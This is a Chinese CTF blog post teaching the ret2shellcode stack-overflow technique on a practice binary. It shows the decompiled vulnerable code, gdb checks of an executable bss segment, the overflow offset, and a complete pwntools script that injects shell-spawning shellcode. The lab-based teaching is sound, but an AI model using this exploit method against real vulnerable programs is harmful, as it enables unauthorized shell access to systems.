目录

  1. 1. 前言
  2. 2. 原理
  3. 3. 例子

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

ret2shellcode

2025/3/18 Pwn ROP
  |     |   总文章阅读量:

前言

参考:

https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/basic-rop/#ret2shellcode


原理

控制程序执行 shellcode 代码

shellcode 指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的 shell

通常情况下,shellcode 需要我们自行编写,即此时我们需要自行向内存中填充一些可执行的代码

在栈溢出的基础上,要想执行 shellcode,需要对应的 binary 在运行时,shellcode 所在的区域具有可执行权限

注意,在新版内核当中引入了较为激进的保护策略,程序中通常不再默认有同时具有可写与可执行的段,这使得传统的 ret2shellcode 手法不再能直接完成利用

需要在内核版本较老的环境中进行实验(如 Ubuntu 18.04 或更老版本)。由于容器环境间共享同一内核,因此这里我们无法通过 docker 完成环境搭建。这里采用 Ubuntu 18.04


例子

image-20250318223337453

几乎没保护,有 RWX 可读可写可执行权限

反编译一下

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[100]; // [esp+1Ch] [ebp-64h] BYREF

  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("No system for you this time !!!");
  gets(s);
  strncpy(buf2, s, 0x64u);
  printf("bye bye ~");
  return 0;
}

依旧是基本的 gets 栈溢出,这里把我们输入的字符串复制到了 buf2 处

image-20250318224030809

这时我们调试下程序,看一下 bss 段是否是可执行的

直接在 main 下断点并执行

b main
r

然后使用vmmap查看程序各种段的地址和范围

image-20250318224406057

可以看到 buf2 所在的 0x804a080 在 0x804a000 ~ 0x804b000 之间,具有 rwxp 权限,有可执行权限

那么我们就控制程序执行 shellcode,也就是读入 shellcode,然后控制程序执行 bss 段处的 shellcode

先算偏移,IDA 给的是 0x64+0x4,但是测了一下没成功

那么用 gdb 的 cyclic 算一下,先下断点,生成一长串字符填进去爆出溢出地址

image-20250318230351739

然后用 cyclic -l 算出溢出长度

image-20250318230413363

那么溢出长度就是 112

from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

image-20250318230535405